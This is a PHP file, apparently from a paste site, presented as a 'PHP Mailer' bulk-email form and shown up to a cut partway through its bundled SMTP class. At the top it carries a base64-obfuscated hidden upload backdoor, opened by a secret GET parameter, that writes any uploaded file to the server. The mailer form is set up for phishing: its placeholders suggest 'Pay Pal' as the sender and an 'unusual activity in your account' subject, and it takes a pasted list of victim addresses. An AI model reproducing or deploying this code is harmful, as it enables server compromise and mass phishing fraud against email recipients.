· 7 years ago · Dec 11, 2018, 04:12 PM
1<?php
2$GLOBALS["vXqjxKPsqeNIVsuiWhGU"]=base64_decode("VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZS4gcGxlYXNlIHRyeSBhZ2FpbiE=");$GLOBALS["JeAOurCWjNpSPrRakjmB"]=base64_decode("IGhhcyBiZWVuIHVwbG9hZGVk");$GLOBALS["mgFJJsMtgvXAGcuuMMzM"]=base64_decode("VGhlIGZpbGUg");$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]=base64_decode("dG1wX25hbWU=");$GLOBALS["XckkIahjVOedVNldUNrH"]=base64_decode("bmFtZQ==");$GLOBALS["bfUQwRWAgingnOqPGinP"]=base64_decode("dXNlcmZpbGU=");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["VcwkMDMTCHbtKVTmEjxU"]=base64_decode("U2FoYXI=");$GLOBALS["WDzbMMESQcYByxgfBDuN"]=base64_decode("U2FraGVy");
3?><?php
4$uOqrFZblQlFFKNhrUWPJ = $_GET[$GLOBALS["WDzbMMESQcYByxgfBDuN"]];
5if ($uOqrFZblQlFFKNhrUWPJ == $GLOBALS["VcwkMDMTCHbtKVTmEjxU"] ) {
6$mwvQEGpICpvofEKyI = $GLOBALS["SnsSSwMKZSYeMFnEirnh"];
7$QNltTzCqkwPUAndjbYo = $mwvQEGpICpvofEKyI . basename($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]);
8if (isset($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]))
9{
10if (move_uploaded_file($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]], $QNltTzCqkwPUAndjbYo))
11{
12$wPDaVvfwQdDnCmwNCJnK = $GLOBALS["mgFJJsMtgvXAGcuuMMzM"]. basename($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]) .$GLOBALS["JeAOurCWjNpSPrRakjmB"];}
13else { $wPDaVvfwQdDnCmwNCJnK = $GLOBALS["vXqjxKPsqeNIVsuiWhGU"]; }
14}
15echo'<html>
16<head>
17</head>
18<div id="result">
19<table height="1" width="100%" bgcolor="eb6b44" bordercolorlight="#c0c0c0" border="0">
20<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
21<center><form method="POST" enctype="multipart/form-data">
22<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
23<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
24}
25
26function query_str($params){
27$str = '';
28foreach ($params as $key => $value) {
29$str .= (strlen($str) < 1) ? '' : '&';
30$str .= $key . '=' . rawurlencode($value);
31}
32return ($str);
33}
34function lrtrim($string){
35return stripslashes(ltrim(rtrim($string)));
36}
37
38if(isset($_POST['action'] ) ){
39
40$b = query_str($_POST);
41parse_str($b);
42$sslclick=lrtrim($sslclick);
43$action=lrtrim($action);
44$message=lrtrim($message);
45$emaillist=lrtrim($emaillist);
46$from=lrtrim($from);
47$reconnect=lrtrim($reconnect);
48$epriority=lrtrim($epriority);
49$my_smtp=lrtrim($my_smtp);
50$ssl_port=lrtrim($ssl_port);
51$smtp_username=lrtrim($smtp_username);
52$smtp_password=lrtrim($smtp_password);
53$replyto=lrtrim($replyto);
54$subject=lrtrim($subject);
55$realname=lrtrim($realname);
56$subject_base=lrtrim($subject);
57$realname_base=lrtrim($realname);
58$file_name=lrtrim($file);
59$urlz=lrtrim($urlz);
60$contenttype=lrtrim($contenttype);
61$encode_text=$_POST['encode'];
62
63 $message = urlencode($message);
64 $message = ereg_replace("%5C%22", "%22", $message);
65 $message = urldecode($message);
66 $message = stripslashes($message);
67 $subject = stripslashes($subject);
68 if ($encode_text == "yes") {
69 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
70 $subject = str_replace(' ', '_', $subject);
71 $subject = "=?UTF-8?Q?$subject?=";
72 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
73 $realname = str_replace(' ', '_', $realname);
74 $realname = "=?UTF-8?Q?$realname?=";
75 }
76}
77?>
78<html>
79
80<head>
81<title>PHP Mailer</title>
82<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
83
84<style type="text/css">
85<!--
86.style1 {
87 font-family: Geneva, Arial, Helvetica, sans-serif;
88 font-size: 12px;
89}
90-->
91.style2 {
92 font-family: Geneva, Arial, Helvetica, sans-serif;
93 font-family: Geneva, Arial, Helvetica, sans-serif;
94 font-size: 12px;
95 text-color:#000000;
96}
97body {
98 background-color:#579b9b;
99}
100</style>
101<style type="text/css">
102<!--
103.style1 {
104 font-size: 10px;
105 font-family: Geneva, Arial, Helvetica, sans-serif;
106}
107-->
108</style>
109</head>
110<body text="#37ba40" >
111<form name="form1" method="post" action="" enctype="multipart/form-data">
112
113 <div align="center">
114
115 <table width="68%" border="0" height="428">
116
117 <tr>
118
119 <td colspan="4" bgcolor="#666666" height="70">
120
121 <a target="_blank" href="https://www.youtube.com/channel/UCpJZrkxOfZI1Tg9pVgWhaPA"><img src="https://yt3.ggpht.com/-2cP4GLwZvg0/AAAAAAAAAAI/AAAAAAAAAAA/ZDwivTi8n1c/s288-mo-c-c0xffffffff-rj-k-no/photo.jpg" width="70px" height="80px"> </a>
122
123
124
125
126 </tr>
127 <tr>
128
129 <td width="10%" height="23" bgcolor="000000">
130
131 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
132 SMTP Login:</font></div>
133
134 </td>
135
136 <td width="18%" height="23" bgcolor="000000"><font size="4" face="Verdana, Arial, Helvetica, sans-serif">
137
138 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
139
140 </font></td>
141
142 <td width="21%" height="23" bgcolor="000000">
143
144 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
145 SMTP Pass:</font></div>
146
147 </td>
148
149 <td width="46%" height="23" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
150
151 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
152
153 </font></td>
154
155 </tr>
156 <tr>
157
158 <td width="10%" height="26" bgcolor="000000">
159
160 <div align="right">
161 <font face="Verdana, Arial, Helvetica, sans-serif" size="4">Port :</font></div>
162
163 </td>
164
165 <td width="18%" height="26" bgcolor="000000"><font size="4" face="Verdana, Arial, Helvetica, sans-serif">
166
167 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
168 (optional)</font></td>
169
170 <td width="21%" height="26" bgcolor="000000">
171
172 <div align="right">
173 <font face="Verdana, Arial, Helvetica, sans-serif" size="4">SMTP
174 Server Smtp:</font></div>
175
176 </td>
177
178 <td width="46%" height="26" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
179
180 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
181
182 </font></td>
183
184 </tr>
185 <tr>
186
187 <td width="10%" height="23" bgcolor="000000">
188
189 <p align="right">
190 <font face="Verdana, Arial, Helvetica, sans-serif" size="3px">SSL Server:</font></td>
191
192 <td width="18%" height="23" bgcolor="000000">
193 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
194
195 <td width="21%" height="23" bgcolor="000000">
196
197 <p align="right">
198 <font face="Verdana, Arial, Helvetica, sans-serif" size="3px">Reconnect
199 After:</font></td>
200
201 <td width="46%" height="23" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
202
203 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
204 EMAILS</font></td>
205
206 </tr>
207
208 <tr>
209
210 <td width="10%" height="27" bordercolor="000000" bgcolor="000000">
211
212 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
213 Your Email:</font></div>
214
215 </td>
216
217 <td width="18%" height="27" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
218
219 <input type="text" name="from" value="<?=$from;?>" size="30" placeholder="no_reply@service.com">
220
221 </font></td>
222
223 <td width="21%" height="27" bordercolor="000000" bgcolor="000000">
224
225 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
226 Your Name:</font></div>
227
228 </td>
229
230 <td width="46%" height="27" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
231
232 <input type="text" name="realname" value="<?=$realname_base;?>" size="30" placeholder="Pay Pal">
233
234 </font></td>
235
236 </tr>
237 <tr>
238
239 <td width="10%" height="28" bgcolor="000000" bordercolor="000000">
240
241 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
242 Reply-To:</font></div>
243
244 </td>
245
246 <td width="18%" height="28" bgcolor="000000" bordercolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
247
248 <input type="text" name="replyto" value="<?=$replyto;?>" size="30" placeholder="no_reply@service.com">
249
250 </font></td>
251
252 <td width="21%" height="28" bgcolor="000000" bordercolor="000000">
253
254 <p align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
255 Email Priority:</font></td>
256
257 <td width="46%" height="28" bgcolor="000000" bordercolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
258
259 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
260 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
261 Please Choose -</option>
262 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
263 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
264 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
265 </select></td>
266
267 </tr>
268
269 <tr>
270
271 <td width="10%" height="30" bordercolor="000000" bgcolor="000000">
272
273 <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
274 Subject:</font></div>
275
276 </td>
277
278 <td colspan="3" height="30" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
279
280 <input type="text" name="subject" value="<?=$subject_base;?>" size="57" placeholder="We Noticied An unusual Activity In Your Account ">
281
282 </font></td>
283
284 </tr>
285
286 <tr>
287
288 <td width="10%" height="23" bordercolor="000000" bgcolor="000000">
289
290 </td>
291
292 <td colspan="3" height="23" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">
293
294 <font color="#FFFFFF"> Encode sending information ?</font> <select size="1" name="encode">
295 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
296 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
297
298 </select></font></td>
299 </tr>
300
301 <tr valign="top">
302
303<td colspan="3" height="191" bordercolor="000000" bgcolor="000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
304
305 <textarea name="message" cols="77" rows="17" placeholder="Put Your Letter Here :) By PiraTos S-Tn"><?=$message;?></textarea>
306
307 </font>
308<p><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
309
310 <br>
311
312 <input type="radio" name="contenttype" value="plain" >
313
314 Plain
315
316 <input type="radio" name="contenttype" value="html" checked>
317
318 HTML
319
320 <input type="hidden" name="action" value="send">
321
322 <input type="submit" value="Send Message">
323
324 </font></p>
325<p> </td>
326
327 <td width="46%" height="191" bordercolor="000000" bgcolor="000000">
328 <font face="Verdana, Arial, Helvetica, sans-serif" size="3px"> <textarea name="emaillist" cols="33" rows="17" placeholder="email@domain.com"><?=$emaillist;?></textarea></font><p> </td>
329
330 </tr>
331
332 </table>
333
334 </div>
335
336</form>
337
338
339
340<?
341
342if ($action){
343 if (!$from && !$subject && !$message && !$emaillist){
344 print "<script>alert('Please complete all fields before sending your message.'); </script>";
345 die(); }
346
347class SMTP
348{
349 /**
350 * SMTP server port
351 * @var int
352 */
353 var $SMTP_PORT = 25;
354
355 /**
356 * SMTP reply line ending
357 * @var string
358 */
359 var $CRLF = "\r\n";
360
361 /**
362 * Sets whether debugging is turned on
363 * @var bool
364 */
365 var $do_debug; # the level of debug to perform
366
367 /**
368 * Sets VERP use on/off (default is off)
369 * @var bool
370 */
371 var $do_verp = false;
372
373 /**#@+
374 * @access private
375 */
376 var $smtp_conn; # the socket to the server
377 var $error; # error if any on the last call
378 var $helo_rply; # the reply the server sent to us for HELO
379 /**#@-*/
380
381 /**
382 * Initialize the class so that the data is in a known state.
383 * @access public
384 * @return void
385 */
386 function SMTP() {
387 $this->smtp_conn = 0;
388 $this->error = null;
389 $this->helo_rply = null;
390
391 $this->do_debug = 0;
392 }
393
394 /*************************************************************
395 * CONNECTION FUNCTIONS *
396 ***********************************************************/
397
398 /**
399 * Connect to the server specified on the port specified.
400 * If the port is not specified use the default SMTP_PORT.
401 * If tval is specified then a connection will try and be
402 * established with the server for that number of seconds.
403 * If tval is not specified the default is 30 seconds to
404 * try on the connection.
405 *
406 * SMTP CODE SUCCESS: 220
407 * SMTP CODE FAILURE: 421
408 * @access public
409 * @return bool
410 */
411 function Connect($host,$port=0,$tval=30) {
412 # set the error val to null so there is no confusion
413 $this->error = null;
414
415 # make sure we are __not__ connected
416 if($this->connected()) {
417 # ok we are connected! what should we do?
418 # for now we will just give an error saying we
419 # are already connected
420 $this->error = array("error" => "Already connected to a server");
421 return false;
422 }
423
424 if(empty($port)) {
425 $port = $this->SMTP_PORT;
426 }
427
428 #connect to the smtp server
429 $this->smtp_conn = fsockopen($host, # the host of the server
430 $port, # the port to use
431 $errno, # error number if any
432 $errstr, # error message if any
433 $tval); # give up after ? secs
434 # verify we connected properly
435 if(empty($this->smtp_conn)) {
436 $this->error = array("error" => "Failed to connect to server",
437 "errno" => $errno,
438 "errstr" => $errstr);
439 if($this->do_debug >= 1) {
440 echo "SMTP -> ERROR: " . $this->error["error"] .
441 ": $errstr ($errno)" . $this->CRLF;
442 }
443 return false;
444 }
445
446 # sometimes the SMTP server takes a little longer to respond
447 # so we will give it a longer timeout for the first read
448 // Windows still does not have support for this timeout function
449 if(substr(PHP_OS, 0, 3) != "WIN")
450 socket_set_timeout($this->smtp_conn, $tval, 0);
451
452 # get any announcement stuff
453 $announce = $this->get_lines();
454
455 # set the timeout of any socket functions at 1/10 of a second
456 //if(function_exists("socket_set_timeout"))
457 // socket_set_timeout($this->smtp_conn, 0, 100000);
458
459 if($this->do_debug >= 2) {
460 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
461 }
462
463 return true;
464 }
465
466 /**
467 * Performs SMTP authentication. Must be run after running the
468 * Hello() method. Returns true if successfully authenticated.
469 * @access public
470 * @return bool
471 */
472 function Authenticate($username, $password) {
473 // Start authentication
474 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
475
476 $rply = $this->get_lines();
477 $code = substr($rply,0,3);
478
479 if($code != 334) {
480 $this->error =
481 array("error" => "AUTH not accepted from server",
482 "smtp_code" => $code,
483 "smtp_msg" => substr($rply,4));
484 if($this->do_debug >= 1) {
485 echo "SMTP -> ERROR: " . $this->error["error"] .
486 ": " . $rply . $this->CRLF;
487 }
488 return false;
489 }
490
491 // Send encoded username
492 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
493
494 $rply = $this->get_lines();
495 $code = substr($rply,0,3);
496
497 if($code != 334) {
498 $this->error =
499 array("error" => "Username not accepted from server",
500 "smtp_code" => $code,
501 "smtp_msg" => substr($rply,4));
502 if($this->do_debug >= 1) {
503 echo "SMTP -> ERROR: " . $this->error["error"] .
504 ": " . $rply . $this->CRLF;
505 }
506 return false;
507 }
508
509 // Send encoded password
510 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
511
512 $rply = $this->get_lines();
513 $code = substr($rply,0,3);
514
515 if($code != 235) {
516 $this->error =
517 array("error" => "Password not accepted from server",
518 "smtp_code" => $code,
519 "smtp_msg" => substr($rply,4));
520 if($this->do_debug >= 1) {
521 echo "SMTP -> ERROR: " . $this->error["error"] .
522 ": " . $rply . $this->CRLF;
523 }
524 return false;
525 }
526
527 return true;
528 }
529
530 /**
531 * Returns true if connected to a server otherwise false
532 * @access private
533 * @return bool
534 */
535 function Connected() {
536 if(!empty($this->smtp_conn)) {
537 $sock_status = socket_get_status($this->smtp_conn);
538 if($sock_status["eof"]) {
539 # hmm this is an odd situation... the socket is
540 # valid but we are not connected anymore
541 if($this->do_debug >= 1) {
542 echo "SMTP -> NOTICE:" . $this->CRLF .
543 "EOF caught while checking if connected";
544 }
545 $this->Close();
546 return false;
547 }
548 return true; # everything looks good
549 }
550 return false;
551 }
552
553 /**
554 * Closes the socket and cleans up the state of the class.
555 * It is not considered good to use this function without
556 * first trying to use QUIT.
557 * @access public
558 * @return void
559 */
560 function Close() {
561 $this->error = null; # so there is no confusion
562 $this->helo_rply = null;
563 if(!empty($this->smtp_conn)) {
564 # close the connection and cleanup
565 fclose($this->smtp_conn);
566 $this->smtp_conn = 0;
567 }
568 }
569
570 /***************************************************************
571 * SMTP COMMANDS *
572 *************************************************************/
573
574 /**
575 * Issues a data command and sends the msg_data to the server
576 * finializing the mail transaction. $msg_data is the message
577 * that is to be send with the headers. Each header needs to be
578 * on a single line followed by a <CRLF> with the message headers
579 * and the message body being seperated by and additional <CRLF>.
580 *
581 * Implements rfc 821: DATA <CRLF>
582 *
583 * SMTP CODE INTERMEDIATE: 354
584 * [data]
585 * <CRLF>.<CRLF>
586 * SMTP CODE SUCCESS: 250
587 * SMTP CODE FAILURE: 552,554,451,452
588 * SMTP CODE FAILURE: 451,554
589 * SMTP CODE ERROR : 500,501,503,421
590 * @access public
591 * @return bool
592 */
593 function Data($msg_data) {
594 $this->error = null; # so no confusion is caused
595
596 if(!$this->connected()) {
597 $this->error = array(
598 "error" => "Called Data() without being connected");
599 return false;
600 }
601
602 fputs($this->smtp_conn,"DATA" . $this->CRLF);
603
604 $rply = $this->get_lines();
605 $code = substr($rply,0,3);
606
607 if($this->do_debug >= 2) {
608 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
609 }
610
611 if($code != 354) {
612 $this->error =
613 array("error" => "DATA command not accepted from server",
614 "smtp_code" => $code,
615 "smtp_msg" => substr($rply,4));
616 if($this->do_debug >= 1) {
617 echo "SMTP -> ERROR: " . $this->error["error"] .
618 ": " . $rply . $this->CRLF;
619 }
620 return false;
621 }
622
623 # the server is ready to accept data!
624 # according to rfc 821 we should not send more than 1000
625 # including the CRLF
626 # characters on a single line so we will break the data up
627 # into lines by \r and/or \n then if needed we will break
628 # each of those into smaller lines to fit within the limit.
629 # in addition we will be looking for lines that start with
630 # a period '.' and append and additional period '.' to that
631 # line. NOTE: this does not count towards are limit.
632
633 # normalize the line breaks so we know the explode works
634 $msg_data = str_replace("\r\n","\n",$msg_data);
635 $msg_data = str_replace("\r","\n",$msg_data);
636 $lines = explode("\n",$msg_data);
637
638 # we need to find a good way to determine is headers are
639 # in the msg_data or if it is a straight msg body
640 # currently I am assuming rfc 822 definitions of msg headers
641 # and if the first field of the first line (':' sperated)
642 # does not contain a space then it _should_ be a header
643 # and we can process all lines before a blank "" line as
644 # headers.
645 $field = substr($lines[0],0,strpos($lines[0],":"));
646 $in_headers = false;
647 if(!empty($field) && !strstr($field," ")) {
648 $in_headers = true;
649 }
650
651 $max_line_length = 998; # used below; set here for ease in change
652
653 while(list(,$line) = @each($lines)) {
654 $lines_out = null;
655 if($line == "" && $in_headers) {
656 $in_headers = false;
657 }
658 # ok we need to break this line up into several
659 # smaller lines
660 while(strlen($line) > $max_line_length) {
661 $pos = strrpos(substr($line,0,$max_line_length)," ");
662
663 # Patch to fix DOS attack
664 if(!$pos) {
665 $pos = $max_line_length - 1;
666 }
667
668 $lines_out[] = substr($line,0,$pos);
669 $line = substr($line,$pos + 1);
670 # if we are processing headers we need to
671 # add a LWSP-char to the front of the new line
672 # rfc 822 on long msg headers
673 if($in_headers) {
674 $line = "\t" . $line;
675 }
676 }
677 $lines_out[] = $line;
678
679 # now send the lines to the server
680 while(list(,$line_out) = @each($lines_out)) {
681 if(strlen($line_out) > 0)
682 {
683 if(substr($line_out, 0, 1) == ".") {
684 $line_out = "." . $line_out;
685 }
686 }
687 fputs($this->smtp_conn,$line_out . $this->CRLF);
688 }
689 }
690
691 # ok all the message data has been sent so lets get this
692 # over with aleady
693 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
694
695 $rply = $this->get_lines();
696 $code = substr($rply,0,3);
697
698 if($this->do_debug >= 2) {
699 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
700 }
701
702 if($code != 250) {
703 $this->error =
704 array("error" => "DATA not accepted from server",
705 "smtp_code" => $code,
706 "smtp_msg" => substr($rply,4));
707 if($this->do_debug >= 1) {
708 echo "SMTP -> ERROR: " . $this->error["error"] .
709 ": " . $rply . $this->CRLF;
710 }
711 return false;
712 }
713 return true;
714 }
715
716 /**
717 * Expand takes the name and asks the server to list all the
718 * people who are members of the _list_. Expand will return
719 * back and array of the result or false if an error occurs.
720 * Each value in the array returned has the format of:
721 * [ <full-name> <sp> ] <path>
722 * The definition of <path> is defined in rfc 821
723 *
724 * Implements rfc 821: EXPN <SP> <string> <CRLF>
725 *
726 * SMTP CODE SUCCESS: 250
727 * SMTP CODE FAILURE: 550
728 * SMTP CODE ERROR : 500,501,502,504,421
729 * @access public
730 * @return string array
731 */
732 function Expand($name) {
733 $this->error = null; # so no confusion is caused
734
735 if(!$this->connected()) {
736 $this->error = array(
737 "error" => "Called Expand() without being connected");
738 return false;
739 }
740
741 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
742
743 $rply = $this->get_lines();
744 $code = substr($rply,0,3);
745
746 if($this->do_debug >= 2) {
747 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
748 }
749
750 if($code != 250) {
751 $this->error =
752 array("error" => "EXPN not accepted from server",
753 "smtp_code" => $code,
754 "smtp_msg" => substr($rply,4));
755 if($this->do_debug >= 1) {
756 echo "SMTP -> ERROR: " . $this->error["error"] .
757 ": " . $rply . $this->CRLF;
758 }
759 return false;
760 }
761
762 # parse the reply and place in our array to return to user
763 $entries = explode($this->CRLF,$rply);
764 while(list(,$l) = @each($entries)) {
765 $list[] = substr($l,4);
766 }
767
768 return $list;
769 }
770
771 /**
772 * Sends the HELO command to the smtp server.
773 * This makes sure that we and the server are in
774 * the same known state.
775 *
776 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
777 *
778 * SMTP CODE SUCCESS: 250
779 * SMTP CODE ERROR : 500, 501, 504, 421
780 * @access public
781 * @return bool
782 */
783 function Hello($host="") {
784 $this->error = null; # so no confusion is caused
785
786 if(!$this->connected()) {
787 $this->error = array(
788 "error" => "Called Hello() without being connected");
789 return false;
790 }
791
792 # if a hostname for the HELO was not specified determine
793 # a suitable one to send
794 if(empty($host)) {
795 # we need to determine some sort of appopiate default
796 # to send to the server
797 $host = "localhost";
798 }
799
800 // Send extended hello first (RFC 2821)
801 if(!$this->SendHello("EHLO", $host))
802 {
803 if(!$this->SendHello("HELO", $host))
804 return false;
805 }
806
807 return true;
808 }
809
810 /**
811 * Sends a HELO/EHLO command.
812 * @access private
813 * @return bool
814 */
815 function SendHello($hello, $host) {
816 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
817
818 $rply = $this->get_lines();
819 $code = substr($rply,0,3);
820
821 if($this->do_debug >= 2) {
822 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
823 }
824
825 if($code != 250) {
826 $this->error =
827 array("error" => $hello . " not accepted from server",
828 "smtp_code" => $code,
829 "smtp_msg" => substr($rply,4));
830 if($this->do_debug >= 1) {
831 echo "SMTP -> ERROR: " . $this->error["error"] .
832 ": " . $rply . $this->CRLF;
833 }
834 return false;
835 }
836
837 $this->helo_rply = $rply;
838
839 return true;
840 }
841
842 /**
843 * Gets help information on the keyword specified. If the keyword
844 * is not specified then returns generic help, ussually contianing
845 * A list of keywords that help is available on. This function
846 * returns the results back to the user. It is up to the user to
847 * handle the returned data. If an error occurs then false is
848 * returned with $this->error set appropiately.
849 *
850 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
851 *
852 * SMTP CODE SUCCESS: 211,214
853 * SMTP CODE ERROR : 500,501,502,504,421
854 * @access public
855 * @return string
856 */
857 function Help($keyword="") {
858 $this->error = null; # to avoid confusion
859
860 if(!$this->connected()) {
861 $this->error = array(
862 "error" => "Called Help() without being connected");
863 return false;
864 }
865
866 $extra = "";
867 if(!empty($keyword)) {
868 $extra = " " . $keyword;
869 }
870
871 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
872
873 $rply = $this->get_lines();
874 $code = substr($rply,0,3);
875
876 if($this->do_debug >= 2) {
877 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
878 }
879
880 if($code != 211 && $code != 214) {
881 $this->error =
882 array("error" => "HELP not accepted from server",
883 "smtp_code" => $code,
884 "smtp_msg" => substr($rply,4));
885 if($this->do_debug >= 1) {
886 echo "SMTP -> ERROR: " . $this->error["error"] .
887 ": " . $rply . $this->CRLF;
888 }
889 return false;
890 }
891
892 return $rply;
893 }
894
895 /**
896 * Starts a mail transaction from the email address specified in
897 * $from. Returns true if successful or false otherwise. If True
898 * the mail transaction is started and then one or more Recipient
899 * commands may be called followed by a Data command.
900 *
901 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
902 *
903 * SMTP CODE SUCCESS: 250
904 * SMTP CODE SUCCESS: 552,451,452
905 * SMTP CODE SUCCESS: 500,501,421
906 * @access public
907 * @return bool
908 */
909 function Mail($from) {
910 $this->error = null; # so no confusion is caused
911
912 if(!$this->connected()) {
913 $this->error = array(
914 "error" => "Called Mail() without being connected");
915 return false;
916 }
917
918 $useVerp = ($this->do_verp ? "XVERP" : "");
919 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
920
921 $rply = $this->get_lines();
922 $code = substr($rply,0,3);
923
924 if($this->do_debug >= 2) {
925 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
926 }
927
928 if($code != 250) {
929 $this->error =
930 array("error" => "MAIL not accepted from server",
931 "smtp_code" => $code,
932 "smtp_msg" => substr($rply,4));
933 if($this->do_debug >= 1) {
934 echo "SMTP -> ERROR: " . $this->error["error"] .
935 ": " . $rply . $this->CRLF;
936 }
937 return false;
938 }
939 return true;
940 }
941
942 /**
943 * Sends the command NOOP to the SMTP server.
944 *
945 * Implements from rfc 821: NOOP <CRLF>
946 *
947 * SMTP CODE SUCCESS: 250
948 * SMTP CODE ERROR : 500, 421
949 * @access public
950 * @return bool
951 */
952 function Noop() {
953 $this->error = null; # so no confusion is caused
954
955 if(!$this->connected()) {
956 $this->error = array(
957 "error" => "Called Noop() without being connected");
958 return false;
959 }
960
961 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
962
963 $rply = $this->get_lines();
964 $code = substr($rply,0,3);
965
966 if($this->do_debug >= 2) {
967 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
968 }
969
970 if($code != 250) {
971 $this->error =
972 array("error" => "NOOP not accepted from server",
973 "smtp_code" => $code,
974 "smtp_msg" => substr($rply,4));
975 if($this->do_debug >= 1) {
976 echo "SMTP -> ERROR: " . $this->error["error"] .
977 ": " . $rply . $this->CRLF;
978 }
979 return false;
980 }
981 return true;
982 }
983
984 /**
985 * Sends the quit command to the server and then closes the socket
986 * if there is no error or the $close_on_error argument is true.
987 *
988 * Implements from rfc 821: QUIT <CRLF>
989 *
990 * SMTP CODE SUCCESS: 221
991 * SMTP CODE ERROR : 500
992 * @access public
993 * @return bool
994 */
995 function Quit($close_on_error=true) {
996 $this->error = null; # so there is no confusion
997
998 if(!$this->connected()) {
999 $this->error = array(
1000 "error" => "Called Quit() without being connected");
1001 return false;
1002 }
1003
1004 # send the quit command to the server
1005 fputs($this->smtp_conn,"quit" . $this->CRLF);
1006
1007 # get any good-bye messages
1008 $byemsg = $this->get_lines();
1009
1010 if($this->do_debug >= 2) {
1011 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1012 }
1013
1014 $rval = true;
1015 $e = null;
1016
1017 $code = substr($byemsg,0,3);
1018 if($code != 221) {
1019 # use e as a tmp var cause Close will overwrite $this->error
1020 $e = array("error" => "SMTP server rejected quit command",
1021 "smtp_code" => $code,
1022 "smtp_rply" => substr($byemsg,4));
1023 $rval = false;
1024 if($this->do_debug >= 1) {
1025 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1026 $byemsg . $this->CRLF;
1027 }
1028 }
1029
1030 if(empty($e) || $close_on_error) {
1031 $this->Close();
1032 }
1033
1034 return $rval;
1035 }
1036
1037 /**
1038 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1039 * Returns true if the recipient was accepted false if it was rejected.
1040 *
1041 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1042 *
1043 * SMTP CODE SUCCESS: 250,251
1044 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1045 * SMTP CODE ERROR : 500,501,503,421
1046 * @access public
1047 * @return bool
1048 */
1049 function Recipient($to) {
1050 $this->error = null; # so no confusion is caused
1051
1052 if(!$this->connected()) {
